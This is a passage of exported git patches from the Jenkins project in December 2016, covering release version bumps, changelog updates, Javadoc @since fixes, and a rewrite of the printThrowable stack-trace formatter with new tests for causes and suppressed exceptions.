Items.verifyItemDoesNotAlreadyExist(parent, newName, this); File oldRoot = this.getRootDir(); -- GitLab From fdba18915889d874c3bbfe21f726d0b0baee60ab Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 10 Dec 2016 17:46:25 +0100 Subject: [PATCH 572/811] Fix 'since TODO' from #2630 --- core/src/main/java/jenkins/model/CauseOfInterruption.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 557110f239..7a8c173f21 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -90,7 +90,7 @@ public abstract class CauseOfInterruption implements Serializable { /** * Gets ID of the user, who interrupted the build. * @return User ID - * @since TODO + * @since 2.31 */ @Nonnull public String getUserId() { @@ -111,7 +111,7 @@ public abstract class CauseOfInterruption implements Serializable { /** * Gets user, who caused the interruption. * @return User or {@code null} if it has not been found - * @since TODO + * @since 2.31 */ @CheckForNull public User getUserOrNull() { -- GitLab From 06615d991dd2f9efaa36fe436a88ef56066a4bfa Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 11 Dec 2016 13:00:03 +0100 Subject: [PATCH 573/811] CHANGELOG: Noting #2656, #2651, #2656, #2659 --- changelog.html | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a10588ac54..0180b6a8f9 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,20 @@ Upcoming changes

                                      What's new in 2.35 (2016/12/04)

                                      -- GitLab From 3538931d1e2ff736adeb172f4947ee9ea20ac59c Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Sun, 11 Dec 2016 17:09:04 +0000 Subject: [PATCH 574/811] [JENKINS-39300] Fix final test case --- test/src/test/java/hudson/cli/DeleteViewCommandTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index 7280a65b29..20b36e87a5 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -123,7 +123,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(4)); assertThat(result, hasNoStandardOutput()); assertThat(j.jenkins.getView(AllView.DEFAULT_VIEW_NAME), notNullValue()); - assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete 'All' view")); + assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete '"+AllView.DEFAULT_VIEW_NAME+"' view")); } @Test public void deleteViewShoudlFailIfViewNameIsEmpty() { -- GitLab From 44133ea90c204fec4c079f73d45ea471f2ba76dd Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 11 Dec 2016 20:50:44 -0800 Subject: [PATCH 575/811] [maven-release-plugin] prepare release jenkins-2.36 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 096329a073..f220aa939c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 cli diff --git a/core/pom.xml b/core/pom.xml index 47a2ec0cd6..54764ae08f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 jenkins-core diff --git a/pom.xml b/pom.xml index b2c8b08af7..a217cf1469 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.36 diff --git a/test/pom.xml b/test/pom.xml index 35fd1a3f3d..1a83c0c2a3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 test diff --git a/war/pom.xml b/war/pom.xml index bafa05038f..72942fd89a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 jenkins-war -- GitLab From 49653d1a6d499c02df9f5a9fe3df27868bb2d518 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 11 Dec 2016 20:50:44 -0800 Subject: [PATCH 576/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f220aa939c..e70857e1b1 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 54764ae08f..36489c62c8 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index a217cf1469..410c7bf46a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.36 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 1a83c0c2a3..674c7be7fd 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 72942fd89a..c0545ad5ea 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT jenkins-war -- GitLab From 476605c549637ffb9209c05315bacd5fdf8c439c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 11 Dec 2016 20:57:35 -0800 Subject: [PATCH 577/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 0180b6a8f9..4b8502c6fd 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                                      What's new in 2.36 (2016/12/11)

                                      • Several badges were missing in builds flagged as KeepBuildForever. @@ -71,7 +76,6 @@ Upcoming changes These message classes are not guaranteed to be binary compatible. (pull 2656)
                                      -

                                      What's new in 2.35 (2016/12/04)

                                      • -- GitLab From e2e17da128af5eee6932de0e4ef2f72966b75dde Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 12 Dec 2016 15:22:19 +0000 Subject: [PATCH 578/811] since FIXME -> 2.37 --- core/src/main/java/hudson/model/AllView.java | 4 ++-- core/src/main/java/hudson/model/Queue.java | 2 +- core/src/main/java/hudson/model/ViewDescriptor.java | 6 +++--- core/src/main/java/hudson/model/queue/CauseOfBlockage.java | 2 +- core/src/main/java/hudson/security/ACL.java | 2 +- core/src/main/java/hudson/views/ListViewColumn.java | 4 ++-- core/src/main/java/hudson/views/MyViewsTabBar.java | 2 +- core/src/main/java/hudson/views/ViewsTabBar.java | 2 +- 8 files changed, 12 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/model/AllView.java b/core/src/main/java/hudson/model/AllView.java index 06122f89c6..939c5fd2eb 100644 --- a/core/src/main/java/hudson/model/AllView.java +++ b/core/src/main/java/hudson/model/AllView.java @@ -57,7 +57,7 @@ public class AllView extends View { * Other {@link AllView} instances will be assumed to have been created by the user and thus will use the * name the user created them with. * - * @since FIXME + * @since 2.37 */ public static final String DEFAULT_VIEW_NAME = "all"; @@ -132,7 +132,7 @@ public class AllView extends View { * @param primaryView the current primary view name. * @return the primary view name - this will be the same as the provided primary view name unless a JENKINS-38606 * matching name is detected, in which case this will be the new name of the primary view. - * @since FIXME + * @since 2.37 */ @Nonnull public static String migrateLegacyPrimaryAllViewLocalizedName(@Nonnull List views, diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 66fc9f3f93..f4325f7def 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -257,7 +257,7 @@ public class Queue extends ResourceController implements Saveable { /** * Checks whether the {@link Executor} represented by this object is capable of executing the given task. * @return a reason why it cannot, or null if it could - * @since FIXME + * @since 2.37 */ public @CheckForNull CauseOfBlockage getCauseOfBlockage(BuildableItem item) { Node node = getNode(); diff --git a/core/src/main/java/hudson/model/ViewDescriptor.java b/core/src/main/java/hudson/model/ViewDescriptor.java index e4f6dceb56..c1656cea64 100644 --- a/core/src/main/java/hudson/model/ViewDescriptor.java +++ b/core/src/main/java/hudson/model/ViewDescriptor.java @@ -138,7 +138,7 @@ public abstract class ViewDescriptor extends Descriptor { * @param view the view to check the new display name of. * @param value the proposed new display name. * @return the validation result. - * @since FIXME + * @since 2.37 */ @SuppressWarnings("unused") // expose utility check method to subclasses protected FormValidation checkDisplayName(@Nonnull View view, @CheckForNull String value) { @@ -163,7 +163,7 @@ public abstract class ViewDescriptor extends Descriptor { * Default implementation returns {@code true} always. * * @return true to indicate applicable, in which case the view will be instantiable within the type of owner. - * @since FIXME + * @since 2.37 */ public boolean isApplicable(Class ownerType) { return true; @@ -175,7 +175,7 @@ public abstract class ViewDescriptor extends Descriptor { * Default implementation returns {@link #isApplicable(Class)} for the {@link ViewGroup#getClass()}. * * @return true to indicate applicable, in which case the view will be instantiable within the given owner. - * @since FIXME + * @since 2.37 */ public boolean isApplicableIn(ViewGroup owner) { return isApplicable(owner.getClass()); diff --git a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java index 2235d98218..e5ba863597 100644 --- a/core/src/main/java/hudson/model/queue/CauseOfBlockage.java +++ b/core/src/main/java/hudson/model/queue/CauseOfBlockage.java @@ -109,7 +109,7 @@ public abstract class CauseOfBlockage { /** * Build is blocked because a node (or its retention strategy) is not accepting tasks. - * @since FIXME + * @since 2.37 */ public static final class BecauseNodeIsNotAcceptingTasks extends CauseOfBlockage implements NeedsMoreExecutor { diff --git a/core/src/main/java/hudson/security/ACL.java b/core/src/main/java/hudson/security/ACL.java index fd5b1e8e0b..2febef6650 100644 --- a/core/src/main/java/hudson/security/ACL.java +++ b/core/src/main/java/hudson/security/ACL.java @@ -152,7 +152,7 @@ public abstract class ACL { * @param d the descriptor of the view to be created. * @return false * if the user doesn't have the permission. - * @since FIXME + * @since 2.37 */ public boolean hasCreatePermission(@Nonnull Authentication a, @Nonnull ViewGroup c, @Nonnull ViewDescriptor d) { diff --git a/core/src/main/java/hudson/views/ListViewColumn.java b/core/src/main/java/hudson/views/ListViewColumn.java index 094d0f0dae..06d8ba2f14 100644 --- a/core/src/main/java/hudson/views/ListViewColumn.java +++ b/core/src/main/java/hudson/views/ListViewColumn.java @@ -133,7 +133,7 @@ public abstract class ListViewColumn implements ExtensionPoint, Describable createDefaultInitialColumnList(Class context) { return createDefaultInitialColumnList(DescriptorVisibilityFilter.applyType(context, ListViewColumn.all())); @@ -143,7 +143,7 @@ public abstract class ListViewColumn implements ExtensionPoint, Describable createDefaultInitialColumnList(View view) { return createDefaultInitialColumnList(DescriptorVisibilityFilter.apply(view, ListViewColumn.all())); diff --git a/core/src/main/java/hudson/views/MyViewsTabBar.java b/core/src/main/java/hudson/views/MyViewsTabBar.java index 45cba48b49..1d2fe44db1 100644 --- a/core/src/main/java/hudson/views/MyViewsTabBar.java +++ b/core/src/main/java/hudson/views/MyViewsTabBar.java @@ -76,7 +76,7 @@ public abstract class MyViewsTabBar extends AbstractDescribableImpl i * * @param views the views. * @return the sorted views - * @since FIXME + * @since 2.37 */ @Nonnull @Restricted(NoExternalUse.class) -- GitLab From b55ef51ab603f56d01a89dc75cf08d9bc16d9113 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 15:05:03 -0500 Subject: [PATCH 579/811] More robust & flexible test framework for printThrowable. --- core/src/test/java/hudson/FunctionsTest.java | 79 ++++++++++++-------- 1 file changed, 48 insertions(+), 31 deletions(-) diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 26bcfcddfe..3e6f7538c6 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -29,6 +29,8 @@ import hudson.model.Item; import hudson.model.ItemGroup; import hudson.model.TopLevelItem; import hudson.model.View; +import java.io.PrintWriter; +import java.io.StringWriter; import java.util.Arrays; import java.util.Collections; import java.util.List; @@ -344,42 +346,57 @@ public class FunctionsTest { @Issue("JDK-6507809") @Test public void printThrowable() throws Exception { - Throwable x; - try { - method1(); - throw new AssertionError(); - } catch (IllegalStateException _x) { - x = _x; - } - String stack = Functions.printThrowable(x).replace(IOUtils.LINE_SEPARATOR, "\n"); - Matcher m = Pattern.compile( - "java\\.lang\\.NullPointerException: oops\n" + - "\tat hudson\\.FunctionsTest\\.method2\\(FunctionsTest\\.java:(\\d+)\\)\n" + - "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + - "Caused: java\\.lang\\.IllegalStateException\n" + - "\tat hudson\\.FunctionsTest\\.method1\\(FunctionsTest\\.java:(\\d+)\\)\n" + - "\tat hudson\\.FunctionsTest\\.printThrowable\\(FunctionsTest\\.java:\\d+\\)\n" + - "(\tat .+\n)+").matcher(stack); - assertTrue(stack, m.matches()); - int throwNPE = Integer.parseInt(m.group(1)); - int callToMethod2 = Integer.parseInt(m.group(2)); - int throwISE = Integer.parseInt(m.group(3)); - assertEquals(callToMethod2 + 2, throwISE); - assertEquals(callToMethod2 + 6, throwNPE); + assertPrintThrowable(new Stack("java.lang.IllegalStateException: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), + "java.lang.IllegalStateException: java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused: java.lang.IllegalStateException\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); // TODO assert display of new WrapperException("more info", wrapped) // TODO assert display of new WrapperException("more info: " + wrapped, wrapped) // TODO assert that full stack is preserved if wrapped does not share a common stack (e.g., comes from an executor service thread) } - // Do not change line spacing of these: - private static void method1() { - try { - method2(); - } catch (Exception x) { - throw new IllegalStateException(x); - } + private static void assertPrintThrowable(Throwable t, String traditional, String custom) { + StringWriter sw = new StringWriter(); + t.printStackTrace(new PrintWriter(sw)); + assertEquals(sw.toString().replace(IOUtils.LINE_SEPARATOR, "\n"), traditional); + assertEquals(Functions.printThrowable(t).replace(IOUtils.LINE_SEPARATOR, "\n"), custom); } - private static void method2() { - throw new NullPointerException("oops"); + private static final class Stack extends Throwable { + private static final Pattern LINE = Pattern.compile("(.+)[.](.+)[.](.+):(\\d+)"); + private final String toString; + Stack(String toString, String... stack) { + this.toString = toString; + StackTraceElement[] lines = new StackTraceElement[stack.length]; + for (int i = 0; i < stack.length; i++) { + Matcher m = LINE.matcher(stack[i]); + assertTrue(m.matches()); + lines[i] = new StackTraceElement(m.group(1) + "." + m.group(2), m.group(3), m.group(2) + ".java", Integer.parseInt(m.group(4))); + } + setStackTrace(lines); + } + @Override + public String toString() { + return toString; + } + synchronized Stack cause(Throwable cause) { + return (Stack) initCause(cause); + } + synchronized Stack suppressed(Throwable... suppressed) { + for (Throwable t : suppressed) { + addSuppressed(t); + } + return this; + } } } -- GitLab From 106bd3e01828a6134fac509d598ca6a30151b272 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 15:35:06 -0500 Subject: [PATCH 580/811] More test coverage. --- core/src/test/java/hudson/FunctionsTest.java | 96 +++++++++++++++++++- 1 file changed, 93 insertions(+), 3 deletions(-) diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 3e6f7538c6..0f173309ae 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -346,6 +346,15 @@ public class FunctionsTest { @Issue("JDK-6507809") @Test public void printThrowable() throws Exception { + // Basics: a single exception. No change. + assertPrintThrowable(new Stack("java.lang.NullPointerException: oops", "p.C.method1:17", "m.Main.main:1"), + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:17)\n" + + "\tat m.Main.main(Main.java:1)\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:17)\n" + + "\tat m.Main.main(Main.java:1)\n"); + // try {…} catch (Exception x) {throw new IllegalStateException(x);} assertPrintThrowable(new Stack("java.lang.IllegalStateException: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), "java.lang.IllegalStateException: java.lang.NullPointerException: oops\n" + @@ -361,9 +370,90 @@ public class FunctionsTest { "Caused: java.lang.IllegalStateException\n" + "\tat p.C.method1(C.java:19)\n" + "\tat m.Main.main(Main.java:1)\n"); - // TODO assert display of new WrapperException("more info", wrapped) - // TODO assert display of new WrapperException("more info: " + wrapped, wrapped) - // TODO assert that full stack is preserved if wrapped does not share a common stack (e.g., comes from an executor service thread) + // try {…} catch (Exception x) {throw new IllegalStateException("more info");} + assertPrintThrowable(new Stack("java.lang.IllegalStateException: more info", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), + "java.lang.IllegalStateException: more info\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused: java.lang.IllegalStateException: more info\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); + // try {…} catch (Exception x) {throw new IllegalStateException("more info: " + x);} + assertPrintThrowable(new Stack("java.lang.IllegalStateException: more info: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")), + "java.lang.IllegalStateException: more info: java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused: java.lang.IllegalStateException: more info\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); + // Synthetic stack showing an exception made elsewhere, such as happens with hudson.remoting.Channel.attachCallSiteStackTrace. + Throwable t = new Stack("remote.Exception: oops", "remote.Place.method:17", "remote.Service.run:9"); + StackTraceElement[] callSite = new Stack("wrapped.Exception", "local.Side.call:11", "local.Main.main:1").getStackTrace(); + StackTraceElement[] original = t.getStackTrace(); + StackTraceElement[] combined = new StackTraceElement[original.length + 1 + callSite.length]; + System.arraycopy(original, 0, combined, 0, original.length); + combined[original.length] = new StackTraceElement(".....", "remote call", null, -2); + System.arraycopy(callSite,0,combined,original.length+1,callSite.length); + t.setStackTrace(combined); + assertPrintThrowable(t, + "remote.Exception: oops\n" + + "\tat remote.Place.method(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n", + "remote.Exception: oops\n" + + "\tat remote.Place.method(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n"); + // Same but now using a cause on the remote side. + t = new Stack("remote.Wrapper: remote.Exception: oops", "remote.Place.method2:19", "remote.Service.run:9").cause(new Stack("remote.Exception: oops", "remote.Place.method1:11", "remote.Place.method2:17", "remote.Service.run:9")); + callSite = new Stack("wrapped.Exception", "local.Side.call:11", "local.Main.main:1").getStackTrace(); + original = t.getStackTrace(); + combined = new StackTraceElement[original.length + 1 + callSite.length]; + System.arraycopy(original, 0, combined, 0, original.length); + combined[original.length] = new StackTraceElement(".....", "remote call", null, -2); + System.arraycopy(callSite,0,combined,original.length+1,callSite.length); + t.setStackTrace(combined); + assertPrintThrowable(t, + "remote.Wrapper: remote.Exception: oops\n" + + "\tat remote.Place.method2(Place.java:19)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n" + + "Caused by: remote.Exception: oops\n" + + "\tat remote.Place.method1(Place.java:11)\n" + + "\tat remote.Place.method2(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n", + "remote.Exception: oops\n" + + "\tat remote.Place.method1(Place.java:11)\n" + + "\tat remote.Place.method2(Place.java:17)\n" + + "\tat remote.Service.run(Service.java:9)\n" + // we do not know how to elide the common part in this case + "Caused: remote.Wrapper\n" + + "\tat remote.Place.method2(Place.java:19)\n" + + "\tat remote.Service.run(Service.java:9)\n" + + "\tat ......remote call(Native Method)\n" + + "\tat local.Side.call(Side.java:11)\n" + + "\tat local.Main.main(Main.java:1)\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); -- GitLab From da541716827999933cf121a85817bc31fc794918 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:00:30 -0500 Subject: [PATCH 581/811] Handle suppressed exceptions. --- core/src/main/java/hudson/Functions.java | 17 +++++--- core/src/test/java/hudson/FunctionsTest.java | 44 +++++++++++++++++++- 2 files changed, 54 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 565d4dc502..921f247c4b 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -1453,16 +1453,21 @@ public class Functions { return Messages.Functions_NoExceptionDetails(); } StringBuilder s = new StringBuilder(); - doPrintStackTrace(s, t, null); + doPrintStackTrace(s, t, null, ""); return s.toString(); } - private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher) { + private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix) { // TODO check if t overrides printStackTrace - // TODO handle suppressed exceptions Throwable lower = t.getCause(); if (lower != null) { - doPrintStackTrace(s, lower, t); - s.append("Caused: "); + doPrintStackTrace(s, lower, t, prefix); + } + for (Throwable suppressed : t.getSuppressed()) { + s.append(prefix).append("Also: "); + doPrintStackTrace(s, suppressed, t, prefix + "\t"); + } + if (lower != null) { + s.append(prefix).append("Caused: "); } String summary = t.toString(); if (lower != null) { @@ -1485,7 +1490,7 @@ public class Functions { } } for (int i = 0; i < end; i++) { - s.append("\tat ").append(trace[i]).append(IOUtils.LINE_SEPARATOR); + s.append(prefix).append("\tat ").append(trace[i]).append(IOUtils.LINE_SEPARATOR); } } diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 0f173309ae..a4a6bd578a 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -454,12 +454,54 @@ public class FunctionsTest { "\tat ......remote call(Native Method)\n" + "\tat local.Side.call(Side.java:11)\n" + "\tat local.Main.main(Main.java:1)\n"); + // Suppressed exceptions: + assertPrintThrowable(new Stack("java.lang.IllegalStateException: java.lang.NullPointerException: oops", "p.C.method1:19", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException: oops", "p.C.method2:23", "p.C.method1:17", "m.Main.main:1")). + suppressed(new Stack("java.io.IOException: could not close", "p.C.close:99", "p.C.method1:18", "m.Main.main:1"), + new Stack("java.io.IOException: java.lang.NullPointerException", "p.C.flush:77", "p.C.method1:18", "m.Main.main:1"). + cause(new Stack("java.lang.NullPointerException", "p.C.findFlushee:70", "p.C.flush:75", "p.C.method1:18", "m.Main.main:1"))), + "java.lang.IllegalStateException: java.lang.NullPointerException: oops\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n" + + "\tSuppressed: java.io.IOException: could not close\n" + + "\t\tat p.C.close(C.java:99)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "\t\t... 1 more\n" + + "\tSuppressed: java.io.IOException: java.lang.NullPointerException\n" + + "\t\tat p.C.flush(C.java:77)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "\t\t... 1 more\n" + + "\tCaused by: java.lang.NullPointerException\n" + + "\t\tat p.C.findFlushee(C.java:70)\n" + + "\t\tat p.C.flush(C.java:75)\n" + + "\t\t... 2 more\n" + + "Caused by: java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "\t... 1 more\n", + "java.lang.NullPointerException: oops\n" + + "\tat p.C.method2(C.java:23)\n" + + "\tat p.C.method1(C.java:17)\n" + + "Also: java.io.IOException: could not close\n" + + "\t\tat p.C.close(C.java:99)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "Also: java.lang.NullPointerException\n" + + "\t\tat p.C.findFlushee(C.java:70)\n" + + "\t\tat p.C.flush(C.java:75)\n" + + "\tCaused: java.io.IOException\n" + + "\t\tat p.C.flush(C.java:77)\n" + + "\t\tat p.C.method1(C.java:18)\n" + + "Caused: java.lang.IllegalStateException\n" + + "\tat p.C.method1(C.java:19)\n" + + "\tat m.Main.main(Main.java:1)\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); t.printStackTrace(new PrintWriter(sw)); assertEquals(sw.toString().replace(IOUtils.LINE_SEPARATOR, "\n"), traditional); - assertEquals(Functions.printThrowable(t).replace(IOUtils.LINE_SEPARATOR, "\n"), custom); + String actual = Functions.printThrowable(t); + System.out.println(actual); + assertEquals(actual.replace(IOUtils.LINE_SEPARATOR, "\n"), custom); } private static final class Stack extends Throwable { private static final Pattern LINE = Pattern.compile("(.+)[.](.+)[.](.+):(\\d+)"); -- GitLab From 187731fd88962974e0db501d0ee3ddc14534e1a0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:06:57 -0500 Subject: [PATCH 582/811] Check for printStackTrace overrides. --- core/src/main/java/hudson/Functions.java | 7 ++++++- core/src/test/java/hudson/FunctionsTest.java | 7 +++++++ 2 files changed, 13 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 921f247c4b..38f24332ad 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -1457,7 +1457,12 @@ public class Functions { return s.toString(); } private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix) { - // TODO check if t overrides printStackTrace + if (Util.isOverridden(Throwable.class, t.getClass(), "printStackTrace", PrintWriter.class)) { + StringWriter sw = new StringWriter(); + t.printStackTrace(new PrintWriter(sw)); + s.append(sw.toString()); + return; + } Throwable lower = t.getCause(); if (lower != null) { doPrintStackTrace(s, lower, t, prefix); diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index a4a6bd578a..a242e83e73 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -494,6 +494,13 @@ public class FunctionsTest { "Caused: java.lang.IllegalStateException\n" + "\tat p.C.method1(C.java:19)\n" + "\tat m.Main.main(Main.java:1)\n"); + // Custom printStackTrace implementations: + assertPrintThrowable(new Throwable() { + @Override + public void printStackTrace(PrintWriter s) { + s.println("Some custom exception"); + } + }, "Some custom exception\n", "Some custom 